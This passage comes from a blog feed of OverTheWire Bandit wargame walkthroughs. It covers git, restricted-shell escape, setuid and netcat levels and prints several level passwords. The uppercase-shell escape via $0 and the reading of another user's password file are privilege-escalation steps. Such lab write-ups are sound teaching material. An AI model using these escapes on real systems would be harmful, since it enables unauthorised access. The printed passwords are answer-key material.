&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit31@bandit:/tmp/mine31$ cd repo/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit31@bandit:/tmp/mine31/repo$ cat README.md
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;This time your task is to push a file to the remote repository.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Details:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; File name: key.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Content: &lt;span style="color:#e6db74"&gt;&amp;#39;May I come in?&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Branch: master
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We do as he says, we create a file &lt;code&gt;key.txt&lt;/code&gt; and we append the phrase:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit31@bandit:/tmp/mine31/repo$ echo &lt;span style="color:#e6db74"&gt;&amp;#39;May I come in?&amp;#39;&lt;/span&gt; &amp;gt; key.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;But if we list all the files in the repo:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit31@bandit:/tmp/mine31/repo$ ls -al
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;total &lt;span style="color:#ae81ff"&gt;24&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;drwxr-sr-x &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; bandit31 root &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt; Apr &lt;span style="color:#ae81ff"&gt;19&lt;/span&gt; 23:58 .
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;drwxr-sr-x &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; bandit31 root &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt; Apr &lt;span style="color:#ae81ff"&gt;19&lt;/span&gt; 23:57 ..
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;drwxr-sr-x &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt; bandit31 root &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt; Apr &lt;span style="color:#ae81ff"&gt;19&lt;/span&gt; 23:58 .git
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; bandit31 root &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt; Apr &lt;span style="color:#ae81ff"&gt;19&lt;/span&gt; 23:57 .gitignore
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; bandit31 root &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; Apr &lt;span style="color:#ae81ff"&gt;19&lt;/span&gt; 23:58 key.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; bandit31 root &lt;span style="color:#ae81ff"&gt;147&lt;/span&gt; Apr &lt;span style="color:#ae81ff"&gt;19&lt;/span&gt; 23:57 README.md
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We see a &lt;code&gt;.gitignore&lt;/code&gt; file that ignores all &lt;code&gt;.txt&lt;/code&gt; files:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit31@bandit:/tmp/mine31/repo$ cat .gitignore
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;*.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In order to push our changes to the remote repo, we have to delete it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;rm .gitignore
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we can add and commit our changes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git add .
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git commit -m &lt;span style="color:#e6db74"&gt;&amp;#34;Added key.txt, removed .gitignore&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And push them to the remote repo:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit31@bandit:/tmp/mine31/repo$ git push
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Could not create directory &lt;span style="color:#e6db74"&gt;&amp;#39;/home/bandit31/.ssh&amp;#39;&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Delta compression using up to &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; threads.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Compressing objects: 100% &lt;span style="color:#f92672"&gt;(&lt;/span&gt;2/2&lt;span style="color:#f92672"&gt;)&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;done&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Writing objects: 100% &lt;span style="color:#f92672"&gt;(&lt;/span&gt;3/3&lt;span style="color:#f92672"&gt;)&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;289&lt;/span&gt; bytes | &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; bytes/s, &lt;span style="color:#66d9ef"&gt;done&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Total &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;delta 0&lt;span style="color:#f92672"&gt;)&lt;/span&gt;, reused &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;delta 0&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;remote: &lt;span style="color:#75715e"&gt;### Attempting to validate files... ####&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;remote:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;remote:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;remote: Well &lt;span style="color:#66d9ef"&gt;done&lt;/span&gt;! Here is the password &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; the next level:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;remote: 56a9bf19c63d650ce78e6ec0354ee45e
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;remote:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;remote:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;To ssh://localhost/home/bandit31-git/repo
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ! &lt;span style="color:#f92672"&gt;[&lt;/span&gt;remote rejected&lt;span style="color:#f92672"&gt;]&lt;/span&gt; master -&amp;gt; master &lt;span style="color:#f92672"&gt;(&lt;/span&gt;pre-receive hook declined&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;error: failed to push some refs to &lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;#39;&lt;/span&gt;ssh://bandit31-git@localhost/home/bandit31-git/repo
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-32"&gt;
Level 32
&lt;a href="#level-32" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-2"&gt;
Level Goal
&lt;a href="#level-goal-2" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;After all this git stuff its time for another escape. Good luck!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-2"&gt;
Solution
&lt;a href="#solution-2" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit32&lt;/code&gt;, using the password found from Level 31:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit32@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;When we log in are welcomed by the upper case shell and if we play around a little we can see that there is not a lot we can do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;WELCOME TO THE UPPERCASE SHELL
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;All the commands are converted to uppercase and we can do nothing. But we are able to type shell variables starting with &lt;code&gt;$&lt;/code&gt;. After testing different variables like:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt;&amp;gt; $SHELL
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;WELCOME TO THE UPPERCASE SHELL
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt;&amp;gt; $HOME
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sh: 1: /home/bandit32: Permission denied
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can run &lt;code&gt;$0&lt;/code&gt; which is generally the first argument of a script, which basically it is its name:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt;&amp;gt; $0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we have a regular shell that we can execute commands. The shell is running with &lt;code&gt;bandit33&lt;/code&gt; permissions, we can check that if we are logged in as another user e.g. &lt;code&gt;bandit31&lt;/code&gt; and check the home directory of &lt;code&gt;bandit32&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit31@bandit:~$ ls -la /home/bandit32/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;total &lt;span style="color:#ae81ff"&gt;28&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;drwxr-xr-x &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt; May &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2020&lt;/span&gt; .
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;drwxr-xr-x &lt;span style="color:#ae81ff"&gt;41&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt; May &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2020&lt;/span&gt; ..
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;220&lt;/span&gt; May &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2017&lt;/span&gt; .bash_logout
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;3526&lt;/span&gt; May &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2017&lt;/span&gt; .bashrc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;675&lt;/span&gt; May &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2017&lt;/span&gt; .profile
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rwsr-x--- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; bandit33 bandit32 &lt;span style="color:#ae81ff"&gt;7556&lt;/span&gt; May &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2020&lt;/span&gt; uppershell
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So we can just &lt;code&gt;cat&lt;/code&gt; the password:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cat /etc/bandit_pass/bandit33
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;c9c3199ddf4121b10cf581a98d51caee
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-33"&gt;
Level 33
&lt;a href="#level-33" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-3"&gt;
Level Goal
&lt;a href="#level-goal-3" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;At this moment, level 34 does not exist yet.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-3"&gt;
Solution
&lt;a href="#solution-3" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit33&lt;/code&gt;, using the password found from Level 32:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit33@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we cat the &lt;code&gt;README.txt&lt;/code&gt; file at our home directory:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;bandit33@bandit:~$ cat README.txt
Congratulations on solving the last level of this game!
At this moment, there are no more levels to play in this game. However, we are constantly working
on new levels and will most likely expand this game with more levels soon.
Keep an eye out for an announcement on our usual communication channels!
In the meantime, you could play some of our other wargames.
If you have an idea for an awesome new level, please let us know!
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The end!&lt;/p&gt;</description></item><item><title>OverTheWire - Bandit Walkthrough - Levels 20-29</title><link>https://thanoskoutr.com/posts/ctfs/overthewire/bandit/levels-20-29/</link><pubDate>Thu, 20 May 2021 23:10:25 +0300</pubDate><guid>https://thanoskoutr.com/posts/ctfs/overthewire/bandit/levels-20-29/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/overthewire.jpg"/&gt;
&lt;p&gt;&lt;a href="https://overthewire.org/wargames/"&gt;OverTheWire&amp;rsquo;s&lt;/a&gt; wargames are offered to help learn and practice security concepts in the form of fun-filled games.&lt;/p&gt;
&lt;p&gt;The &lt;a href="https://overthewire.org/wargames/bandit/"&gt;Bandit&lt;/a&gt; wargame is aimed at absolute beginners and will teach them the basics needed to be able to play other wargames. All the challenges are focused on the Linux systems and their commands. It aims to get the player familiar with the Linux terminal and introduce some basic security concepts.&lt;/p&gt;
&lt;p&gt;It consists of a total of 33 Levels. At each level, you have to find the password for the next level to continue playing. Each Level is a user that you connect as, using SSH in the &lt;code&gt;bandit.labs.overthewire.org&lt;/code&gt; server.&lt;/p&gt;
&lt;p&gt;In this post, we will present the solutions for &lt;strong&gt;Levels 20-29&lt;/strong&gt; of the Bandit wargame.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;See the solutions for the previous &lt;a href="https://thanoskoutr.com/posts/ctfs/overthewire/bandit/levels-10-19/"&gt;&lt;strong&gt;Levels 10-19&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;See the solutions for the next &lt;a href="https://thanoskoutr.com/posts/ctfs/overthewire/bandit/levels-30-33/"&gt;&lt;strong&gt;Levels 30-33&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; &lt;em&gt;These walkthroughs are written and published to help other members of the community that are stuck at some Level. &lt;strong&gt;It is strongly advised&lt;/strong&gt; to first try the challenges yourself until you can progress no more, and only then come back here to see the solution.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="level-20"&gt;
Level 20
&lt;a href="#level-20" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal"&gt;
Level Goal
&lt;a href="#level-goal" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;There is a setuid binary in the homedirectory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (&lt;code&gt;bandit20&lt;/code&gt;). If the password is correct, it will transmit the password for the next level (&lt;code&gt;bandit21&lt;/code&gt;).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution"&gt;
Solution
&lt;a href="#solution" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit20&lt;/code&gt;, using the password found from Level 19:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit20@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We first use Netcat to create a simple command-line messaging server instantly in order for the &lt;code&gt;suconnect&lt;/code&gt; setuid binary to connect to:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nc -l -p &lt;span style="color:#ae81ff"&gt;42000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In another tab after we have logged in as &lt;code&gt;bandit20&lt;/code&gt;, we run the binary with the port we have selected:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./suconnect &lt;span style="color:#ae81ff"&gt;42000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;From the other tab (&lt;code&gt;nc&lt;/code&gt; server) we enter the current level&amp;rsquo;s password:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit20@bandit:~$ nc -l -p &lt;span style="color:#ae81ff"&gt;42000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;GbKksEFF4yrVs6il55v6gwY5aVje5f0j
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And we have the following output from &lt;code&gt;suconnect&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit20@bandit:~$ ./suconnect &lt;span style="color:#ae81ff"&gt;42000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Read: GbKksEFF4yrVs6il55v6gwY5aVje5f0j
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Password matches, sending next password
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And the password is sent to our &lt;code&gt;nc&lt;/code&gt; server:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit20@bandit:~$ nc -l -p &lt;span style="color:#ae81ff"&gt;42000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;GbKksEFF4yrVs6il55v6gwY5aVje5f0j
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-21"&gt;
Level 21
&lt;a href="#level-21" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-1"&gt;
Level Goal
&lt;a href="#level-goal-1" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in &lt;code&gt;/etc/cron.d/&lt;/code&gt; for the configuration and see what command is being executed.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-1"&gt;
Solution
&lt;a href="#solution-1" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit21&lt;/code&gt;, using the password found from Level 20:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit21@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We first find all the cron jobs in &lt;code&gt;/etc/cron.d&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit21@bandit:~$ ls /etc/cron.d
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cronjob_bandit15_root cronjob_bandit17_root cronjob_bandit22 cronjob_bandit23 cronjob_bandit24 cronjob_bandit25_root
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We are interested in the &lt;code&gt;cronjob_bandit22&lt;/code&gt; job, so we &lt;code&gt;cat&lt;/code&gt; it:&lt;/p&gt;
